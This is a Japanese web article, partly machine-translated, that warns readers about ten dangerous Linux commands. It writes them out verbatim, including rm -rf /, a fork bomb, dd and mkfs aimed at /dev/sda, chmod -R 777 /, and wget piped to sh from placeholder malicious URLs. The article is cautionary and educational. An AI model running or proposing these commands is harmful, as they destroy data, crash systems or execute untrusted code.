GNU/Linux >> Linux の 問題 >  >> Linux

Linux で絶対に実行してはならない 10 の致命的なコマンド

Linux オペレーティング システムは、Windows やその他のオペレーティング システムと比較して、ユーザーにより多くの独立性を提供します。一部の経験豊富な開発者にとって、Linux オペレーティング システムは操作を実行する自由を提供しますが、これらの開発者に提供される自由を損なう可能性もあります。どのテクノロジーにも長所と短所がありますが、Linux も同様です。ユーザーが実行する前に、安全なコマンドと致命的なコマンドを十分に理解することが最も重要です。ここでは、その意味を完全に理解することなく実行してはならない致命的なコマンドについて説明します。

1.再帰的削除

フォルダーとその内容を最も速く削除する方法の 1 つは、rm -rf コマンドです。ファイルまたはフォルダーが削除されたときにWindowsで直面するエラーを克服したため、長年にわたって人気を博しています.このコマンドは、実行されているファイル、フォルダー、またはハードディスク上のすべてを消去します。コマンドを分解して、それが実際に何を表しているのかを理解しましょう:

rm – 指定された場所にあるすべてのファイルを削除します

-rf – このコマンドは、r と f の 2 つの部分にさらに分割されます。 r はすべてのファイルを再帰的に削除することを表し、f は強制を表し、ユーザーにプロンプ​​トを表示せずにすべてのファイルを削除することを意味します。

このコマンドには、インターネット上でさまざまなバリエーションが用意されています。特定のフォルダで実行されたコマンドが何をするかを知っておく必要があることを理解することが重要です。そうしないと、データが失われる可能性があります。このコマンドで失われたデータは、いかなる方法でも復元できません。

  • RM – このコマンドは、指定したパス内のすべてのファイルを削除するために使用されます
  • rm -r – このコマンドは、Linux オペレーティング システムのすべてのディレクトリとサブディレクトリからファイルを再帰的に削除するために使用されます。
  • rm -f – このコマンドは、ユーザーにプロンプ​​トを表示せずに、指定されたパス上のファイルを削除するために使用されます。これには、「読み取り専用ファイル」の削除も含まれます。
  • rm -rf / – / はオペレーティング システムのルート ディレクトリを指すため、これは最も危険なコマンドの 1 つです。このコマンドを実行すると、ルート ディレクトリのすべてのコンテンツが強制的かつ再帰的に削除されます。したがって、すべてのディレクトリとサブディレクトリが削除され、データが失われます。
  • rm -rf * – このコマンドは、作業ディレクトリ内のすべてのデータを強制的に削除します
  • rm -rf. – このコマンドは、現在の作業ディレクトリとサブディレクトリ内のファイルを強制的に削除します。また、ディレクトリ内のすべての構成ファイルも削除されます。

2.フォーク爆弾

したがって、Linux は Bash で動作するため、コマンドを実行する前に、コマンドがシステムに対して何を行うかを理解することが重要です。これは単純な bash 関数であり、一度実行されるとそれ自体のコピーが作成され、次にそれ自体のコピーの別のセットが作成されます。これにより、CPU 時間とメモリが消費されます。したがって、システムがフリーズするまで再帰的に実行されます。

:(){:|:&};:

3.ハードドライブを上書き

次のコマンドを誤って、または誤ってハード ドライブで実行した場合、回復はまったく不可能です。

command > dev/sda
This command writes raw data to the hard drive mentioned. This results in data loss in the hard drive or partition mentioned in the command. Let's break down the command into sections in order to understand what each of the section does.
command - This can be any command entered by the user

> - This is responsible for sending the output of the command to the location entered

dev/sda - The output of the command will be written to this location

Thus, you should know what that command will do to your operating system and hard drive before executing it. Moreover, be careful about using commands which include your hard drive locations such as dev/sda.

4.ハードドライブの内破

「猫の皮を剥く方法は 1 つではありません」と言うように、ハードディスクを破壊する方法は 1 つではありません。すべての Linux システムで、dev/null はブラック ホールとして示される特別な場所です。このブラックホールに移動したものはすべて破壊されます。誤ってデータをこのフォルダに移動してしまった場合でも、データは復元されません。

mv /home/root/*  dev/null

上記のコマンドは、ホーム/ルート フォルダー内のすべてのデータをブラック ホールに移動するため、データが失われます。コマンドを分解して、各セクションの機能を理解しましょう。

mv - This command is used for moving a folder to another location

/home/root/* – 移動するフォルダーの場所です

dev/null – ブラック ホールとして示される特別な場所

したがって、移動コマンドの実行中は注意が必要です。フォルダの移動先がシステム上に存在することを確認してください。

5. 悪意のあるスクリプトをダウンロード

Linux での「wget」コマンドの利点は誰もが認識していますが、悪意のあるスクリプトやウイルス、および有益なソフトウェアをダウンロードできることは認識していません。たまたま次のコマンドのいずれかを実行したことがある場合は、これが何であるかを理解できます。

wget http://malicious_source -o- | sh
wget http://example.com/something  -o- | sh -
wget http: //an-untrusted-url -o- | sh

上記のコマンドは、提供された URL からコンテンツをダウンロードし、ダウンロードしたスクリプトを実行します。

6.ハードドライブをフォーマット

ハードドライブを消去して新しいものにする別のコマンドがあります。これらは、クラウドまたは外部デバイスにデータのバックアップがある場合にのみ使用してください。

mkfs.ext3 /dev/sda

このコマンドを実行することは、すべてのファイルがドライブから消去され、新しいインストールの準備が整った Windows の C ドライブでフル フォーマットを実行することと同じです。分かりやすくするためです。このコマンドを分解してみましょう。

mkfs.ext3 - This creates a new ext3 file system on the hard drive.
dev/sda - This specifies the first partition on the hard drive.

一緒に、このコマンドが実行されると、ハード ドライブ上の指定されたパーティションがフォーマットされ、上記のコマンドで指定された ext3 であるファイル システムに従って再フォーマットされます。したがって、システムで実行してすべてのデータを失う前に、コマンドが何をするかを理解しておくことが非常に重要です。

7.ファイルの内容をフラッシュ

ファイルの内容をフラッシュするコマンドは簡単で、どのインスタンスでも実行できます。

>file

上記のタイプのコマンドを実行したことがある場合は、指定されたファイルの内容がフラッシュされている必要があることがわかります。 ">" はファイルの内容をフラッシュする役割があるため、実行しているコマンドを再確認してください。

8.前のコマンドを編集

このコマンドは祝福と呪いです。前のコマンドをすべて再入力して実行しなくても済むようになる一方で、以前に実行したコマンドに悪意のあるコンテンツが混入する可能性もあります。したがって、このコマンドを使用するのが適切かどうかを確認する必要があります。

^foo^bar

9.ランダム ジャンクをハード ドライブに書き込む

以下のコマンドに出くわしたことがある場合は、このコマンドを実際に実行するほど狂っている場合、ランダムなジャンクがハードドライブに書き込まれているのを見たことがあるかもしれません.このコマンドの後遺症として、システムは回復されません。

dd if=/dev/random of=/dev/sda

10. Chmod -R 777/

このコマンドは、他のすべてのコマンドが各セクションで説明されているようにシステムに物理的に影響を与えることはありませんが、これによりシステムにセキュリティ違反が発生します.このコマンドを実行すると、システムのすべてのユーザーがファイル システムのデータの読み取り、書き込み、および実行を行えるようになります。したがって、このコマンドは賢く使用してください。

致命的なコマンドに関するこの詳細な情報により、システムからデータが失われるのを防ぐことができます.これが役に立ったかどうかは、下のコメント セクションでお知らせください。


Linux
  1. 使用したことがない5つのLinuxコマンド

  2. すべてのシステム管理者が知っておくべき7つのLinuxネットワークコマンド

  3. 絶対に使用してはならない3つのLinuxコマンド

  1. すべてのLinuxユーザーが知っておくべき10個のコマンド

  2. 3システム管理者に役立つLinuxコマンド

  3. システムをクラッシュさせる方法:危険なLinuxコマンド

  1. 知っておく必要のある10の基本的なLinuxコマンド

  2. システムをシャットダウンするための3つのLinuxコマンドとあなたはそれを簡単に行うことができます

  3. AからZのLinuxコマンド